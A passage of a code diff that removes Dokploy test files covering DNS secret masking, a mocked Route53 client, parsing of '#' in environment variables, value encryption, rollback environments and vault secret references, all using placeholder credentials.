-		insert: vi.fn(),
-		update: vi.fn(),
-		delete: vi.fn(),
-	},
-}));
-
-import {
-	DNS_SECRET_MASK,
-	maskDnsProviderConfig,
-	mergeDnsProviderConfig,
-} from "@dokploy/server/services/dns-provider";
-
-describe("maskDnsProviderConfig", () => {
-	it("masks the apiToken for a cloudflare config", () => {
-		const masked = maskDnsProviderConfig({
-			providerType: "cloudflare",
-			apiToken: "real-token",
-		});
-
-		expect(masked).toEqual({
-			providerType: "cloudflare",
-			apiToken: DNS_SECRET_MASK,
-		});
-	});
-
-	it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
-		const masked = maskDnsProviderConfig({
-			providerType: "route53",
-			accessKeyId: "AKIA_VISIBLE",
-			secretAccessKey: "shh",
-		});
-
-		expect(masked).toEqual({
-			providerType: "route53",
-			accessKeyId: "AKIA_VISIBLE",
-			secretAccessKey: DNS_SECRET_MASK,
-		});
-	});
-
-	it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
-		const masked = maskDnsProviderConfig({
-			providerType: "cloudflare",
-			apiToken: "",
-		});
-
-		expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
-	});
-});
-
-describe("mergeDnsProviderConfig", () => {
-	it("restores the real secret when the incoming config still has the mask placeholder", () => {
-		const existing = {
-			providerType: "cloudflare" as const,
-			apiToken: "real-token",
-		};
-		const incoming = {
-			providerType: "cloudflare" as const,
-			apiToken: DNS_SECRET_MASK,
-		};
-
-		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
-	});
-
-	it("keeps a freshly entered secret instead of the stored one", () => {
-		const existing = {
-			providerType: "cloudflare" as const,
-			apiToken: "old-token",
-		};
-		const incoming = {
-			providerType: "cloudflare" as const,
-			apiToken: "new-token",
-		};
-
-		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
-	});
-
-	it("throws when switching provider type while the field is still masked", () => {
-		const existing = {
-			providerType: "cloudflare" as const,
-			apiToken: "real-token",
-		};
-		const incoming = {
-			providerType: "route53" as const,
-			accessKeyId: "AKIA",
-			secretAccessKey: DNS_SECRET_MASK,
-		};
-
-		expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
-			"Credentials must be re-entered",
-		);
-	});
-
-	it("does not require re-entry for fields that are not sensitive", () => {
-		const existing = {
-			providerType: "route53" as const,
-			accessKeyId: "AKIA_OLD",
-			secretAccessKey: "old-secret",
-		};
-		const incoming = {
-			providerType: "route53" as const,
-			accessKeyId: "AKIA_NEW",
-			secretAccessKey: DNS_SECRET_MASK,
-		};
-
-		expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
-			providerType: "route53",
-			accessKeyId: "AKIA_NEW",
-			secretAccessKey: "old-secret",
-		});
-	});
-});

apps/dokploy/__test__/dns/route53.test.ts

@@ -1,288 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-type HasInput = { input: any };
-
-const {
-	send,
-	Route53Client,
-	ListHostedZonesCommand,
-	ListResourceRecordSetsCommand,
-	ChangeResourceRecordSetsCommand,
-} = vi.hoisted(() => {
-	class FakeCommand {
-		input: any;
-		constructor(input: any) {
-			this.input = input;
-		}
-	}
-	const send = vi.fn();
-	class Route53Client {
-		send(command: unknown) {
-			return send(command);
-		}
-	}
-	return {
-		send,
-		Route53Client,
-		ListHostedZonesCommand: class extends FakeCommand {},
-		ListResourceRecordSetsCommand: class extends FakeCommand {},
-		ChangeResourceRecordSetsCommand: class extends FakeCommand {},
-	};
-});
-
-vi.mock("@aws-sdk/client-route-53", () => ({
-	Route53Client,
-	ListHostedZonesCommand,
-	ListResourceRecordSetsCommand,
-	ChangeResourceRecordSetsCommand,
-}));
-
-import { route53Client } from "@dokploy/server/utils/dns/route53";
-
-const config = {
-	providerType: "route53" as const,
-	accessKeyId: "AKIA_TEST",
-	secretAccessKey: "secret",
-};
-
-beforeEach(() => {
-	send.mockReset();
-});
-
-describe("route53Client.listZones", () => {
-	it("strips the hostedzone prefix and the trailing dot", async () => {
-		send.mockResolvedValueOnce({
-			HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
-			IsTruncated: false,
-		});
-
-		const zones = await route53Client.listZones(config);
-
-		expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
-	});
-
-	it("follows the marker until IsTruncated is false", async () => {
-		send
-			.mockResolvedValueOnce({
-				HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
-				IsTruncated: true,
-				NextMarker: "marker-1",
-			})
-			.mockResolvedValueOnce({
-				HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
-				IsTruncated: false,
-			});
-
-		const zones = await route53Client.listZones(config);
-
-		expect(zones).toEqual([
-			{ id: "Z1", name: "a.com" },
-			{ id: "Z2", name: "b.com" },
-		]);
-		expect(send).toHaveBeenCalledTimes(2);
-		expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
-	});
-});
-
-describe("route53Client.listRecords", () => {
-	it("builds a type:name id and strips the trailing dot from the name", async () => {
-		send.mockResolvedValueOnce({
-			ResourceRecordSets: [
-				{
-					Name: "app.example.com.",
-					Type: "A",
-					TTL: 300,
-					ResourceRecords: [{ Value: "1.2.3.4" }],
-				},
-			],
-			IsTruncated: false,
-		});
-
-		const records = await route53Client.listRecords(config, "Z123");
-
-		expect(records).toEqual([
-			{
-				id: "A:app.example.com",
-				type: "A",
-				name: "app.example.com",
-				content: "1.2.3.4",
-				ttl: 300,
-			},
-		]);
-	});
-
-	it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
-		send.mockResolvedValueOnce({
-			ResourceRecordSets: [
-				{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
-			],
-			IsTruncated: false,
-		});
-
-		const records = await route53Client.listRecords(config, "Z123");
-
-		expect(records).toEqual([]);
-	});
-
-	it("joins multiple values for the same record", async () => {
-		send.mockResolvedValueOnce({
-			ResourceRecordSets: [
-				{
-					Name: "example.com.",
-					Type: "NS",
-					TTL: 172800,
-					ResourceRecords: [
-						{ Value: "ns1.example.com" },
-						{ Value: "ns2.example.com" },
-					],
-				},
-			],
-			IsTruncated: false,
-		});
-
-		const records = await route53Client.listRecords(config, "Z123");
-
-		expect(records[0]?.content).toBe("ns1.example.com, ns2.example.com");
-	});
-});
-
-describe("route53Client.upsertRecord", () => {
-	it("sends a single UPSERT change", async () => {
-		send.mockResolvedValueOnce({});
-
-		const result = await route53Client.upsertRecord(config, {
-			zoneId: "Z123",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "A:app.example.com" });
-		const command = send.mock.calls[0]?.[0] as HasInput;
-		expect(command.input.HostedZoneId).toBe("Z123");
-		expect(command.input.ChangeBatch.Changes).toEqual([
-			{
-				Action: "UPSERT",
-				ResourceRecordSet: {
-					Name: "app.example.com.",
-					Type: "A",
-					TTL: 300,
-					ResourceRecords: [{ Value: "1.2.3.4" }],
-				},
-			},
-		]);
-	});
-});
-
-describe("route53Client.updateRecord", () => {
-	it("only UPSERTs when the name/type identity did not change", async () => {
-		send.mockResolvedValueOnce({});
-
-		await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
-			type: "A",
-			name: "app.example.com",
-			content: "9.9.9.9",
-		});
-
-		expect(send).toHaveBeenCalledTimes(1);
-		const command = send.mock.calls[0]?.[0] as HasInput;
-		expect(command.input.ChangeBatch.Changes).toHaveLength(1);
-		expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
-	});
-
-	it("deletes the old record set and creates the new one on rename", async () => {
-		const existingSet = {
-			Name: "old.example.com.",
-			Type: "A",
-			TTL: 300,
-			ResourceRecords: [{ Value: "1.1.1.1" }],
-		};
-		send
-			.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
-			.mockResolvedValueOnce({}); // ChangeResourceRecordSets
-
-		await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
-			type: "A",
-			name: "new.example.com",
-			content: "1.1.1.1",
-		});
-
-		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
-		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
-			{ Action: "DELETE", ResourceRecordSet: existingSet },
-			{
-				Action: "UPSERT",
-				ResourceRecordSet: {
-					Name: "new.example.com.",
-					Type: "A",
-					TTL: 300,
-					ResourceRecords: [{ Value: "1.1.1.1" }],
-				},
-			},
-		]);
-	});
-
-	it("skips the DELETE when the old record no longer exists", async () => {
-		send
-			.mockResolvedValueOnce({ ResourceRecordSets: [] })
-			.mockResolvedValueOnce({});
-
-		await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
-			type: "A",
-			name: "new.example.com",
-			content: "1.1.1.1",
-		});
-
-		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
-		expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
-		expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
-	});
-});
-
-describe("route53Client.deleteRecord", () => {
-	it("deletes the record set found by name/type", async () => {
-		const existingSet = {
-			Name: "app.example.com.",
-			Type: "A",
-			TTL: 300,
-			ResourceRecords: [{ Value: "1.2.3.4" }],
-		};
-		send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
-		send.mockResolvedValueOnce({});
-
-		await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
-
-		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
-		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
-			{ Action: "DELETE", ResourceRecordSet: existingSet },
-		]);
-	});
-
-	it("throws when the record no longer exists", async () => {
-		send.mockResolvedValueOnce({ ResourceRecordSets: [] });
-
-		await expect(
-			route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
-		).rejects.toThrow("not found");
-	});
-
-	it("throws for a malformed record id", async () => {
-		await expect(
-			route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
-		).rejects.toThrow("Invalid Route53 record id");
-	});
-});
-
-describe("route53Client.testConnection", () => {
-	it("resolves when ListHostedZones succeeds", async () => {
-		send.mockResolvedValueOnce({ HostedZones: [] });
-		await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
-	});
-
-	it("propagates SDK errors", async () => {
-		send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
-		await expect(route53Client.testConnection(config)).rejects.toThrow(
-			"InvalidClientTokenId",
-		);
-	});
-});

apps/dokploy/__test__/drop/drop.test.ts

@@ -32,8 +32,6 @@ const baseApp: ApplicationNested = {
 	railpackVersion: "0.15.4",
 	applicationId: "",
 	previewLabels: [],
-	networkIds: [],
-	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",

apps/dokploy/__test__/env/comment-handling.test.ts

@@ -1,139 +0,0 @@
-import { prepareEnvironmentVariables } from "@dokploy/server/index";
-import { describe, expect, it } from "vitest";
-
-// https://github.com/Dokploy/dokploy/issues/5095 — expectations calibrated against docker compose v2
-
-describe("prepareEnvironmentVariables (# in values)", () => {
-	it("preserves # when it is not an inline comment", () => {
-		const serviceEnv = [
-			"TRAILING=secret#",
-			"MIDDLE=sec#ret",
-			"MULTI=a#b#c",
-			"LEADING=#!secret",
-			"NO_SPACE=value# not a comment",
-			"CONN=user=admin;password=b#c",
-		].join("\n");
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"TRAILING=secret#",
-			"MIDDLE=sec#ret",
-			"MULTI=a#b#c",
-			"LEADING=#!secret",
-			"NO_SPACE=value# not a comment",
-			"CONN=user=admin;password=b#c",
-		]);
-	});
-
-	it("strips an inline comment only after one or more spaces", () => {
-		const serviceEnv = [
-			"ONE_SPACE=value # comment",
-			"TWO_SPACES=value  # comment",
-			"TRAILING_WS=value ",
-		].join("\n");
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"ONE_SPACE=value",
-			"TWO_SPACES=value",
-			"TRAILING_WS=value",
-		]);
-	});
-
-	it("does not treat a tab-preceded # as a comment", () => {
-		const serviceEnv = "WITH_TAB=value\t# not a comment";
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"WITH_TAB=value\t# not a comment",
-		]);
-	});
-
-	it("treats a bare `KEY= # ...` as an empty value", () => {
-		// deliberate divergence: compose reads "# this is a comment" here
-		const serviceEnv = "ONLY_HASH= # this is a comment";
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"ONLY_HASH=",
-		]);
-	});
-
-	it("preserves # inside quoted values and still strips a trailing comment", () => {
-		const serviceEnv = [
-			'DOUBLE="val#ue"',
-			"SINGLE='val#ue'",
-			'DOUBLE_THEN_COMMENT="a # b" # comment',
-			"SINGLE_THEN_COMMENT='c # d' # comment",
-		].join("\n");
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"DOUBLE=val#ue",
-			"SINGLE=val#ue",
-			"DOUBLE_THEN_COMMENT=a # b",
-			"SINGLE_THEN_COMMENT=c # d",
-		]);
-	});
-
-	it("still skips full-line comments", () => {
-		const serviceEnv = [
-			"# leading comment",
-			"FIRST=one",
-			"  # indented comment",
-			"SECOND=two",
-		].join("\n");
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"FIRST=one",
-			"SECOND=two",
-		]);
-	});
-
-	it("preserves # through project, environment and self references", () => {
-		const projectEnv = "DB_PASS=secret#end";
-		const environmentEnv = "API_KEY=key#123";
-		const serviceEnv = [
-			"DATABASE_URL=postgres://user:${{project.DB_PASS}}@db:5432/app",
-			"TOKEN=${{environment.API_KEY}}",
-			"LOCAL_SECRET=self#value",
-			"COPY=${{LOCAL_SECRET}}",
-		].join("\n");
-
-		expect(
-			prepareEnvironmentVariables(serviceEnv, projectEnv, environmentEnv),
-		).toEqual([
-			"DATABASE_URL=postgres://user:secret#end@db:5432/app",
-			"TOKEN=key#123",
-			"LOCAL_SECRET=self#value",
-			"COPY=self#value",
-		]);
-	});
-});
-
-describe("prepareEnvironmentVariables (dotenv parity)", () => {
-	it("keeps the behaviour dotenv had for everything except #", () => {
-		const serviceEnv = [
-			"export EXPORTED=value",
-			'ESCAPED="line1\\nline2"',
-			"EMPTY=",
-			'EMPTY_DOUBLE=""',
-			"EMPTY_SINGLE=''",
-			"DOLLARS=pa$$word",
-			'SPACED_QUOTED=  "padded"  ',
-		].join("\n");
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"EXPORTED=value",
-			"ESCAPED=line1\nline2",
-			"EMPTY=",
-			"EMPTY_DOUBLE=",
-			"EMPTY_SINGLE=",
-			"DOLLARS=pa$$word",
-			"SPACED_QUOTED=padded",
-		]);
-	});
-
-	it("supports multiline double-quoted values", () => {
-		const serviceEnv = 'MULTILINE="line1\nline2"';
-
-		expect(prepareEnvironmentVariables(serviceEnv, "", "")).toEqual([
-			"MULTILINE=line1\nline2",
-		]);
-	});
-});

apps/dokploy/__test__/env/encryption.test.ts

@@ -1,93 +0,0 @@
-import {
-	decryptValue,
-	encryptValue,
-	exportEncryptionKeys,
-	isEncrypted,
-} from "@dokploy/server/lib/encryption";
-import { afterEach, describe, expect, it, vi } from "vitest";
-
-describe("encryptValue / decryptValue", () => {
-	it("round-trips a value", () => {
-		const value =
-			"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
-		const encrypted = encryptValue(value);
-
-		expect(encrypted).not.toBe(value);
-		expect(isEncrypted(encrypted)).toBe(true);
-		expect(encrypted).not.toContain("secret");
-		expect(decryptValue(encrypted)).toBe(value);
-	});
-
-	it("uses a random IV so equal inputs produce different ciphertexts", () => {
-		const value = "KEY=value";
-		expect(encryptValue(value)).not.toBe(encryptValue(value));
-	});
-
-	it("passes legacy plaintext through on decrypt", () => {
-		const plaintext = "KEY=legacy-plaintext-value";
-		expect(decryptValue(plaintext)).toBe(plaintext);
-	});
-
-	it("passes empty values through unchanged", () => {
-		expect(encryptValue("")).toBe("");
-		expect(decryptValue("")).toBe("");
-	});
-
-	it("does not double-encrypt an already encrypted value", () => {
-		const encrypted = encryptValue("KEY=value");
-		expect(encryptValue(encrypted)).toBe(encrypted);
-	});
-
-	it("throws a descriptive error on tampered ciphertext", () => {
-		const encrypted = encryptValue("KEY=value");
-		const tampered = `${encrypted.slice(0, -4)}AAAA`;
-		expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
-	});
-
-	it("exports the derived keys as 32-byte hex lines for backups", () => {
-		expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
-	});
-});
-
-describe("dedicated ENCRYPTION_KEY", () => {
-	afterEach(() => {
-		vi.unstubAllEnvs();
-		vi.resetModules();
-	});
-
-	const loadWithEncryptionKey = async (key: string) => {
-		vi.stubEnv("ENCRYPTION_KEY", key);
-		vi.resetModules();
-		return await import("@dokploy/server/lib/encryption");
-	};
-
-	it("encrypts with the dedicated key when set", async () => {
-		const withKey = await loadWithEncryptionKey("my-dedicated-key");
-		const encrypted = withKey.encryptValue("KEY=value");
-
-		expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
-		// The default (auth-secret derived) module cannot read it
-		expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
-	});
-
-	it("still decrypts legacy values via the auth-secret fallback", async () => {
-		// Encrypted before the install adopted a dedicated key
-		const legacyEncrypted = encryptValue("KEY=legacy-value");
-
-		const withKey = await loadWithEncryptionKey("my-dedicated-key");
-		expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
-	});
-
-	it("re-encrypts with the dedicated key on write", async () => {
-		const withKey = await loadWithEncryptionKey("my-dedicated-key");
-		const reEncrypted = withKey.encryptValue(
-			withKey.decryptValue(encryptValue("KEY=migrated")),
-		);
-
-		const other = await loadWithEncryptionKey("another-key");
-		// Readable only by the dedicated key (or its own fallback), proving
-		// the write used the primary key, not the legacy one
-		expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
-		expect(() => other.decryptValue(reEncrypted)).toThrow();
-	});
-});

apps/dokploy/__test__/env/rollback-environment.test.ts

@@ -1,108 +0,0 @@
-import { prepareEnvironmentVariables } from "@dokploy/server/index";
-import { describe, expect, it } from "vitest";
-
-const projectEnv = `
-ENVIRONMENT=staging
-DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
-`;
-
-const environmentEnv = `
-NODE_ENV=production
-POSTGRES_HOST=postgres.internal
-POSTGRES_PORT=5432
-REDIS_URL=redis://redis.internal:6379
-`;
-
-const serviceEnv = `
-NODE_ENV=\${{environment.NODE_ENV}}
-REDIS_URL=\${{environment.REDIS_URL}}
-PORT=3000
-`;
-
-/**
- * A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
- * the service env, the environment env and the project env captured at deploy time.
- */
-const fullContext = {
-	env: serviceEnv,
-	environment: {
-		env: environmentEnv,
-		project: {
-			env: projectEnv,
-		},
-	},
-};
-
-describe("prepareEnvironmentVariables for application rollback", () => {
-	it("resolves environment variables from the rollback snapshot", () => {
-		const result = prepareEnvironmentVariables(
-			fullContext.env,
-			fullContext.environment.project.env,
-			fullContext.environment.env,
-		);
-
-		expect(result).toEqual([
-			"NODE_ENV=production",
-			"REDIS_URL=redis://redis.internal:6379",
-			"PORT=3000",
-		]);
-	});
-
-	it("resolves project and environment variables together on rollback", () => {
-		const rollbackEnv = `
-DATABASE_URL=\${{project.DATABASE_URL}}
-POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
-ENVIRONMENT=\${{project.ENVIRONMENT}}
-`;
-
-		const result = prepareEnvironmentVariables(
-			rollbackEnv,
-			projectEnv,
-			environmentEnv,
-		);
-
-		expect(result).toEqual([
-			"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
-			"POSTGRES_URL=postgres://postgres.internal:5432/app",
-			"ENVIRONMENT=staging",
-		]);
-	});
-
-	it("throws when the environment env of the snapshot is not passed", () => {
-		expect(() =>
-			prepareEnvironmentVariables(fullContext.env, projectEnv),
-		).toThrow("Invalid environment variable: environment.NODE_ENV");
-	});
-
-	it("maintains precedence: service > environment > project on rollback", () => {
-		const conflictingProjectEnv = `
-NODE_ENV=project
-API_URL=https://project.api.com
-`;
-
-		const conflictingEnvironmentEnv = `
-NODE_ENV=environment
-API_URL=https://environment.api.com
-`;
-
-		const rollbackEnv = `
-NODE_ENV=service
-PROJECT_API_URL=\${{project.API_URL}}
-ENVIRONMENT_API_URL=\${{environment.API_URL}}
-SELF_REFERENCE=\${{NODE_ENV}}
-`;
-
-		const result = prepareEnvironmentVariables(
-			rollbackEnv,
-			conflictingProjectEnv,
-			conflictingEnvironmentEnv,
-		);
-
-		expect(result).toEqual([
-			"NODE_ENV=service",
-			"PROJECT_API_URL=https://project.api.com",
-			"ENVIRONMENT_API_URL=https://environment.api.com",
-			"SELF_REFERENCE=service",
-		]);
-	});
-});

apps/dokploy/__test__/env/vault.test.ts

@@ -1,618 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const findMany = vi.fn();
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: {
-			vaultProvider: {
-				findMany: (...args: unknown[]) => findMany(...args),
-			},
-		},
-	},
-}));
-
-import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
-import {
-	resolveVaultReferences,
-	withResolvedVaultRefs,
-} from "@dokploy/server/utils/vault";
-import { azureClient } from "@dokploy/server/utils/vault/azure";
-import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
-import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
-import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
-
-const mockFetch = vi.fn();
-global.fetch = mockFetch as typeof fetch;
-
-const jsonResponse = (body: unknown, ok = true, status = 200) =>
-	({
-		ok,
-		status,
-		json: async () => body,
-	}) as Response;
-
-beforeEach(() => {
-	findMany.mockReset();
-	mockFetch.mockReset();
-});
-
-const scope = {
-	organizationId: "org-1",
-	projectId: "proj-1",
-	environmentId: "env-1",
-};
-
-const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
-
-describe("resolveVaultReferences", () => {
-	it("returns input untouched and skips the db when no refs are present", async () => {
-		const env = "FOO=bar\nBAZ=${{project.QUX}}";
-		const result = await resolveVaultReferences(env, scope);
-		expect(result).toBe(env);
-		expect(findMany).not.toHaveBeenCalled();
-	});
-
-	it("returns null/empty inputs unchanged", async () => {
-		expect(await resolveVaultReferences(null, scope)).toBeNull();
-		expect(await resolveVaultReferences("", scope)).toBe("");
-	});
-
-	it("throws when refs exist but no organization context is given", async () => {
-		await expect(
-			resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
-		).rejects.toThrow("not supported in this context");
-	});
-
-	it("throws for an unknown provider", async () => {
-		findMany.mockResolvedValue([]);
-		await expect(
-			resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
-		).rejects.toThrow('Vault provider "missing" not found');
-	});
-
-	it("throws when the provider is not assigned to the project", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [{ projectId: "other-project", environmentIds: [] }],
-			},
-		]);
-		await expect(
-			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
-		).rejects.toThrow("not enabled for this project/environment");
-	});
-
-	it("throws when the provider is restricted to another environment", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [
-					{ projectId: "proj-1", environmentIds: ["production-env"] },
-				],
-			},
-		]);
-		await expect(
-			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
-		).rejects.toThrow("not enabled for this project/environment");
-	});
-
-	it("allows a provider restricted to the matching environment", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
-		const result = await resolveVaultReferences(
-			"FOO=${{vault.prod.SECRET}}",
-			scope,
-		);
-		expect(result).toBe("FOO=value-1");
-	});
-
-	it("resolves refs through a doppler provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "doppler-prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(
-			jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
-		);
-
-		const result = await resolveVaultReferences(
-			"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
-			scope,
-		);
-
-		expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-	});
-
-	it("throws when the secret is missing in the provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "doppler-prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
-
-		await expect(
-			resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
-		).rejects.toThrow('secret "MISSING" not found');
-	});
-});
-
-describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
-	it("resolves entity env sources so sync interpolation sees real values", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
-
-		const entity = {
-			env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
-			environment: {
-				environmentId: "env-1",
-				env: null,
-				project: {
-					projectId: "proj-1",
-					env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
-					organizationId: "org-1",
-				},
-			},
-		};
-
-		const resolved = await withResolvedVaultRefs(entity);
-		const prepared = prepareEnvironmentVariables(
-			resolved.env,
-			resolved.environment.project.env,
-			resolved.environment.env,
-		);
-
-		expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
-	});
-
-	it("resolves buildArgs and buildSecrets when present", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
-
-		const resolved = await withResolvedVaultRefs({
-			env: "FOO=bar",
-			buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
-			buildSecrets: null,
-			environment: {
-				environmentId: "env-1",
-				env: null,
-				project: { projectId: "proj-1", env: null, organizationId: "org-1" },
-			},
-		});
-
-		expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
-		expect(resolved.buildSecrets).toBeNull();
-		expect(resolved.env).toBe("FOO=bar");
-	});
-
-	it.each([
-		["service env", { env: "SECRET=${{vault.locked.X}}" }],
-		["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
-		["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
-		["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
-	])(
-		"rejects a ref to an unassigned provider placed in the %s",
-		async (_source, overrides) => {
-			findMany.mockResolvedValue([
-				{
-					name: "locked",
-					providerType: "doppler",
-					config: { providerType: "doppler", serviceToken: "dp.st.token" },
-					assignments: [{ projectId: "other-project", environmentIds: [] }],
-				},
-			]);
-
-			const entity = {
-				env: (overrides as { env?: string }).env ?? "FOO=bar",
-				buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
-				environment: {
-					environmentId: "env-1",
-					env:
-						(overrides as { environmentEnv?: string }).environmentEnv ?? null,
-					project: {
-						projectId: "proj-1",
-						env: (overrides as { projectEnv?: string }).projectEnv ?? null,
-						organizationId: "org-1",
-					},
-				},
-			};
-
-			await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
-				"not enabled for this project/environment",
-			);
-			expect(mockFetch).not.toHaveBeenCalled();
-		},
-	);
-
-	it("rejects a ref restricted to another environment from the environment env", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "prod-only",
-				providerType: "doppler",
-				config: { providerType: "doppler", serviceToken: "dp.st.token" },
-				assignments: [
-					{ projectId: "proj-1", environmentIds: ["production-env"] },
-				],
-			},
-		]);
-
-		await expect(
-			withResolvedVaultRefs({
-				env: null,
-				environment: {
-					environmentId: "dev-env",
-					env: "SECRET=${{vault.prod-only.X}}",
-					project: { projectId: "proj-1", env: null, organizationId: "org-1" },
-				},
-			}),
-		).rejects.toThrow("not enabled for this project/environment");
-		expect(mockFetch).not.toHaveBeenCalled();
-	});
-
-	it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
-		expect(() =>
-			prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
-		).toThrow("Unresolved vault reference");
-	});
-
-	it("keeps working without vault refs", () => {
-		const prepared = prepareEnvironmentVariables(
-			"FOO=${{project.BAR}}",
-			"BAR=baz",
-		);
-		expect(prepared).toEqual(["FOO=baz"]);
-		expect(findMany).not.toHaveBeenCalled();
-	});
-});
-
-describe("hashicorp client", () => {
-	const config = {
-		providerType: "hashicorp" as const,
-		url: "https://vault.example.com",
-		token: "hvs.token",
